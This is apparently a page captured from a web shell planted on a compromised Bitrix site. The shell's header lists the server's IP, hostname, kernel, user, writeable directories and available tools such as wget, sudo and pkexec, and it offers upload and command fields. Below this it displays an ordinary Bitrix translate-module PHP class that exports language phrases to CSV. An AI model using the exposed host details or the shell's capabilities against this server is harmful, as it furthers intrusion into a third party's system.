403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/translate/lib/controller/export/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/translate/lib/controller/export/exportfile.php
<?php
namespace Bitrix\Translate\Controller\Export;

use Bitrix\Main;
use Bitrix\Translate;
use Bitrix\Main\Localization\Loc;

/**
 * Harvester of phrases the single file.
 */
class ExportFile
	extends ExportAction
	implements Translate\Controller\ITimeLimit, Translate\Controller\IProcessParameters
{
	use Translate\Controller\Stepper;
	use Translate\Controller\ProcessParams;

	private string $seekPhraseCode = '';

	private array $data = [];

	private string $langFilePath = '';

	/**
	 * \Bitrix\Main\Engine\Action constructor.
	 *
	 * @param string $name Action name.
	 * @param Main\Engine\Controller $controller Parent controller object.
	 * @param array $config Additional configuration.
	 */
	public function __construct($name, Main\Engine\Controller $controller, array $config = [])
	{
		Loc::loadLanguageFile(__DIR__ . '/exportaction.php');

		$this->keepField('seekPhraseCode');

		parent::__construct($name, $controller, $config);
	}

	/**
	 * Runs controller action.
	 *
	 * @param string $path Path to export.
	 * @param boolean $runBefore Flag to run onBeforeRun event handler.
	 *
	 * @return array
	 */
	public function run(string $path = '', bool $runBefore = false): array
	{
		if (empty($path) || !\preg_match("#(.+\/lang)(\/?\w*)#", $path, $matches))
		{
			$this->addError(new Main\Error(Loc::getMessage('TR_EXPORT_EMPTY_PATH_LIST')));

			return [
				'STATUS' => Translate\Controller\STATUS_COMPLETED
			];
		}
		if (!Translate\IO\Path::isLangDir($path))
		{
			$this->addError(new Main\Error(Loc::getMessage('TR_EXPORT_FILE_NOT_LANG', ['#FILE#' => $path])));

			return [
				'STATUS' => Translate\Controller\STATUS_COMPLETED
			];
		}

		if ($runBefore)
		{
			$this->onBeforeRun();
		}

		$this->langFilePath = Translate\IO\Path::replaceLangId($path, '#LANG_ID#');

		$fullPaths = [];
		foreach ($this->languages as $langId)
		{
			$langRelPath = Translate\IO\Path::replaceLangId($path, $langId);
			$langFullPath = Translate\IO\Path::tidy(self::$documentRoot . '/' . $langRelPath);

			if (self::$useTranslationRepository && \in_array($langId, self::$translationRepositoryLanguages))
			{
				$langFullPath = Main\Localization\Translation::convertLangPath($langFullPath, $langId);
			}

			$fullPaths[$langId] = $langFullPath;
		}

		$this->data = $this->mergeLangFiles($this->langFilePath, $fullPaths, $this->collectUntranslated);

		if ($this->isNewProcess)
		{
			$this->totalItems = (int)count($this->data);
			$this->processedItems = 0;

			if ($this->totalItems > 0)
			{
				$this->exportFileName = $this->generateExportFileName($path, $this->languages);
				$csvFile = $this->createExportTempFile($this->exportFileName);
				$this->exportFilePath = $csvFile->getPhysicalPath();
				$this->exportFileSize = $csvFile->getSize();
			}
			if ($this->appendSamples)
			{
				$this->samplesFileName = $this->generateExportFileName('samples-'.$path, $this->languages);
				$sampleFile = $this->createExportTempFile($this->samplesFileName);
				$this->samplesFilePath = $sampleFile->getPhysicalPath();
				$this->samplesFileSize = $sampleFile->getSize();
			}

			$this->saveProgressParameters();

			return [
				'STATUS' => $this->totalItems > 0
					? Translate\Controller\STATUS_PROGRESS
					: Translate\Controller\STATUS_COMPLETED,
				'PROCESSED_ITEMS' => 0,
				'TOTAL_ITEMS' => $this->totalItems,
				'TOTAL_PHRASES' => $this->exportedPhraseCount,
				'TOTAL_SAMPLES' => $this->exportedSamplesCount,
			];
		}

		return $this->performStep('runExporting', ['path' => $path]);
	}

	/**
	 * Collects lang files paths.
	 *
	 * @param array $params Path to export.
	 *
	 * @return array
	 */
	private function runExporting(array $params): array
	{
		$csvFile = new Translate\IO\CsvFile($this->exportFilePath);
		$this->configureExportCsvFile($csvFile);
		$csvFile->openWrite( Main\IO\FileStreamOpenMode::APPEND);

		if ($this->appendSamples)
		{
			$samplesFile = new Translate\IO\CsvFile($this->samplesFilePath);
			$this->configureExportCsvFile($samplesFile);
			$samplesFile->openWrite( Main\IO\FileStreamOpenMode::APPEND);
		}

		$currentLangId = Loc::getCurrentLang();

		$processedItemCount = 0;
		foreach ($this->data as $code => $row)
		{
			if (!empty($this->seekPhraseCode))
			{
				if ($code == $this->seekPhraseCode)
				{
					$this->seekPhraseCode = '';
				}
				continue;
			}

			$csvFile->put(\array_values($row));

			if (
				$this->appendSamples
				&& !empty($row[$currentLangId])
				&& mb_strlen($row[$currentLangId]) < $this->maxSampleSourceLength
			)
			{
				$samples = $this->findSamples(
					$row[$currentLangId],
					$currentLangId,
					$this->langFilePath,
					$this->samplesCount,
					$this->samplesRestriction
				);
				foreach ($samples as $sample)
				{
					$samplesFile->put(\array_values($sample));
					$this->exportedSamplesCount ++;
				}
			}

			$this->exportedPhraseCount ++;
			$processedItemCount ++;

			if ($this->instanceTimer()->hasTimeLimitReached())
			{
				$this->seekPhraseCode = $code;
				break;
			}
		}

		$this->processedItems += $processedItemCount;

		$this->exportFileSize = $csvFile->getSize();
		$csvFile->close();

		if ($this->appendSamples)
		{
			$this->samplesFileSize = $samplesFile->getSize();
			$samplesFile->close();
		}

		if ($this->instanceTimer()->hasTimeLimitReached() !== true)
		{
			$this->declareAccomplishment();
			$this->clearProgressParameters();
		}

		$result = [
			'PROCESSED_ITEMS' => $this->processedItems,
			'TOTAL_ITEMS' => $this->totalItems,
			'TOTAL_PHRASES' => $this->exportedPhraseCount,
			'TOTAL_SAMPLES' => $this->exportedSamplesCount,
		];

		if ($csvFile->hasErrors())
		{
			$errors = $csvFile->getErrors();
			foreach ($errors as $err)
			{
				if ($err->getCode() == Translate\IO\CsvFile::ERROR_32K_FIELD_LENGTH)
				{
					$result['WARNING'] = Loc::getMessage('TR_EXPORT_ERROR_32K_LENGTH');
				}
				else
				{
					$this->addError($err);
				}
			}
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit